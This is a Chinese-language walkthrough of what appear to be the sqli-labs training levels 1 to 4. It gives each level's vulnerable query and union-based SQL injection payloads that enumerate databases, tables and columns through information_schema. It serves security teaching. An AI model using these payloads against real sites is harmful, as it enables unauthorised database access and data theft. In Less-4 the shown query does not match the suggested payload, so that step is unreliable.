Less-1
查找原SQL语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
尝试是否可以注入:?id=1 正常显示
?id=1' 报错
?id=1’--+ 正常显示
?id=1' and 1=1 --+ 正常显示
测试表中有多少字段:?id=1' order by 1 --+ 正常
..................
?id=1' order by 4 --+ 报错
可以得知数据表中拥有3个字段
对数据库进行查找:?id=1000' union select 1,2,database() --+
可以知晓库名为:security
显示全部的数据库:?id=1000' union select 1,group_concat(schema_name) ,3 from information_schema.schemata --+
显示当前数据库中所有的数据表:?id=1000' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security' --+
显示users中的字段:?id=1000' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema='security' --+
Less-2
查找原SQL语句:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
与Less-1的语句对比可以知晓只需把?id=1'改为?id=1即可
Less-3
查找原SQL语句:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
与Less-1的语句对比可以知晓只需把?id=1'改为?id=1')即可
Less-4
查找原SQL语句:$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
与Less-1的语句对比可以知晓只需把?id=1'改为?id=1")即可